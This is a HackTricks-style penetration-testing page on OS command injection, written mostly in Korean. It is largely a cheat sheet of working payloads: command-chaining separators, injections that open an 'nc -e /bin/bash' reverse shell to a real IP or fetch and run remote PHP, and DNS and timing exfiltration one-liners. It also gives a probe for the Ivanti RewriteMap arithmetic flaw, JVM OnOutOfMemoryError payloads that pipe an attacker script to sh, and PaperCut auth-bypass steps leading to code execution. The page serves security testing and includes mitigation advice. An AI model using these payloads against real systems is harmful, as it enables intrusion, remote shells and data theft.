Command Injection
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.
command Injection이란 무엇인가?
A command injection는 애플리케이션을 호스팅하는 서버에서 공격자가 임의의 운영 체제 명령을 실행할 수 있게 합니다. 그 결과 애플리케이션과 모든 데이터가 완전히 손상될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자에게 애플리케이션의 환경 및 기반 시스템에 대한 무단 접근 또는 제어를 획득할 수 있게 합니다.
컨텍스트
입력이 주입되는 위치에 따라 명령 실행 전에 " 또는 '를 사용해 인용된 컨텍스트를 종료해야 할 수 있습니다.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
runkit이 활성화된 PHP 규칙 엔진
일부 애플리케이션은 관리자 전용 “규칙 엔진”을 공격자가 제공한 PHP를 실행하여 구현합니다. 환경에서 runkit 확장(extension)이 활성화되어 있으면, 공격자는 런타임에 함수를 재정의하거나 주입하여 논리 전용 규칙 편집기를 full PHP RCE로 승격시킬 수 있습니다.
징후:
- 관리자 UI가 평가되는 PHP 형태의 “규칙”을 허용한다.
runkit/runkit7가 로드되어 있음 (phpinfo()또는extension_loaded('runkit')).
악용 예제 (규칙에서 사용되는 함수를 재정의하여 명령을 실행):
<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');
If the rule content is stored and evaluated later, it becomes a persistent RCE primitive within the web context.
제한 Bypasses
만약 arbitrary commands inside a linux machine를 실행하려고 한다면, 이 **Bypasses:**를 읽어보면 도움이 될 것입니다:
예시
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
RewriteMap/CGI-style 스크립트의 Bash 산술 평가
bash로 작성된 RewriteMap 헬퍼는 때때로 쿼리 파라미터를 전역 변수로 밀어넣고 나중에 산술 컨텍스트([[ $a -gt $b ]], $((...)), let)에서 비교합니다. 산술 확장(Arithmetic expansion)은 내용을 재토큰화하므로, 공격자가 제어하는 변수 이름이나 배열 참조가 두 번 확장되어 실행될 수 있습니다.
Ivanti EPMM RewriteMap 헬퍼에서 관찰된 패턴:
- 파라미터가 전역 변수로 매핑됩니다 (
st→gStartTime,h→theValue). - 이후 확인:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
st=theValue를 보내gStartTime이 문자열theValue를 가리키게 합니다.h=gPath['sleep 5']를 보내theValue가 배열 인덱스를 포함하도록 하고; 산술 검사 중sleep 5가 실행됩니다 (실제 payload로 교체하세요).
Probe (~5초 지연, 취약하면 404):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
- 다른 접두사 아래에서 같은 helper를 찾아보세요(예:
/mifs/c/aftstore/fob/). - Arithmetic contexts는 알 수 없는 토큰을 variable/array identifiers로 취급하므로, 이는 simple metacharacter filters를 우회합니다.
Parameters
다음은 code injection 및 유사한 RCE 취약점에 노출될 수 있는 상위 25개 파라미터입니다 (출처: link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
데이터 추출: char by char
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
다음 도구를 기반으로 함: https://github.com/HoLyVieR/dnsbin (dnsbin.zhack.ca에도 호스팅됨)
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
DNS 기반 data exfiltration을 확인하기 위한 온라인 도구:
- dnsbin.zhack.ca
- pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
JavaScript/TypeScript 백엔드를 감사할 때 Node.js child_process API를 자주 만나게 됩니다.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec()는 shell (/bin/sh -c)을 생성하므로, shell에 특별한 의미를 가지는 문자(back-ticks, ;, &&, |, $(), …)는 사용자 입력이 문자열에 이어붙여질 때 command injection을 일으킬 수 있습니다.
완화: execFile()(또는 spawn()을 shell 옵션 없이) 사용하고 각 인수를 별도의 배열 요소로 제공하여 shell이 개입하지 않도록 하세요:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
모든 주입이 쉘 메타문자를 필요로 하는 것은 아니다. 애플리케이션이 신뢰할 수 없는 문자열을 시스템 유틸리티의 인수로 전달할 때(심지어 execve/execFile로 쉘을 사용하지 않더라도), 많은 프로그램은 여전히 - 또는 --로 시작하는 인수를 옵션으로 해석한다. 이는 공격자가 쉘에 진입하지 않고도 모드를 전환하거나 출력 경로를 바꾸거나 위험한 동작을 유발할 수 있게 한다.
Typical places where this appears:
- 임베디드 웹 UI/CGI handlers that build commands like
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, etc. - Centralized CGI routers (e.g.,
/cgi-bin/<something>.cgiwith a selector parameter liketopicurl=<handler>) where multiple handlers reuse the same weak validator.
What to try:
- 하위 도구가 플래그로 해석하도록
-/--로 시작하는 값을 제공해라. - 동작을 변경하거나 파일을 쓰는 플래그를 악용하라. 예:
ping:-f/-c 100000— 장치를 과부하(DoS)시키기 위해curl:-o /tmp/x— 임의 경로에 쓰기,-K <url>— 공격자 제어 config 로드tcpdump:-G 1 -W 1 -z /path/script.sh— 안전하지 않은 래퍼에서 회전 후 실행(post-rotate execution)을 달성하기 위해
- 프로그램이
--end-of-options를 지원하면, 잘못된 위치에--를 앞에 붙이는 단순한 완화책을 우회할 수 있는지 시도해 보라.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
보장된 exec를 위한 JVM 진단 callbacks
애플리케이션 바이트코드를 건드리지 않고도, _JAVA_OPTIONS, launcher config files, AdditionalJavaArguments 필드 등처럼 JVM command-line arguments를 주입할 수 있는 어떤 수단이든 신뢰할 수 있는 RCE로 전환할 수 있습니다:
- 결정론적 크래시를 강제하기 위해 metaspace나 heap을 줄입니다:
-XX:MaxMetaspaceSize=16m(또는 아주 작은-Xmx). 이로 인해 초기 부트스트랩 도중에도OutOfMemoryError가 보장됩니다. - 오류 훅을 연결:
-XX:OnOutOfMemoryError="<cmd>"또는-XX:OnError="<cmd>"는 JVM이 중단될 때마다 임의의 OS 명령을 실행합니다. - 복구 시도를 피하고 payload를 일회성으로 유지하려면 선택적으로
-XX:+CrashOnOutOfMemoryError를 추가합니다.
Example payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
이러한 진단 정보는 JVM 자체에 의해 파싱되기 때문에 셸 메타문자가 필요 없으며, 명령은 launcher와 동일한 무결성 수준으로 실행됩니다. 사용자 제공 JVM 플래그를 전달하는 Desktop IPC 버그(참조: Localhost WebSocket abuse)는 따라서 곧바로 OS 명령 실행으로 이어집니다.
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- 취약한 NG/MF 빌드(예: 22.0.5 Build 63914)는
/app?service=page/SetupCompleted를 노출합니다; 해당 페이지를 방문하여 Login을 클릭하면 자격 증명 없이 유효한JSESSIONID를 반환합니다 (설정 흐름에서의 authentication bypass). - Options → Config Editor에서
print-and-device.script.enabled=Y와print.script.sandboxed=N을 설정하여 printer scripting을 켜고 sandbox를 비활성화합니다. - 프린터 Scripting 탭에서 스크립트를 활성화하고 validation 오류를 피하기 위해
printJobHook을 정의된 상태로 유지하되, 페이로드를 함수의 외부에 배치하여 Apply를 클릭하면 즉시 실행되도록 합니다(프린트 작업 불필요):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
- 콜백을 reverse shell로 교체하세요; UI/PoC가 pipes/redirects를 처리할 수 없다면, 페이로드를 한 번의 명령으로 스테이지하고 두 번째 요청으로 실행하세요.
- Horizon3의 CVE-2023-27350.py는 auth bypass, config flips, command execution, 및 rollback을 자동화합니다 — 서비스가 내부에서만 접근 가능할 때는 상위 프록시(예:
proxychains→ Squid)를 통해 실행하세요.
Brute-Force Detection List
참고자료
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Synacktiv 2025 – Synology 암호화된 아카이브 추출
- PHP proc_open 매뉴얼
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE
- HTB: Gavel
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.


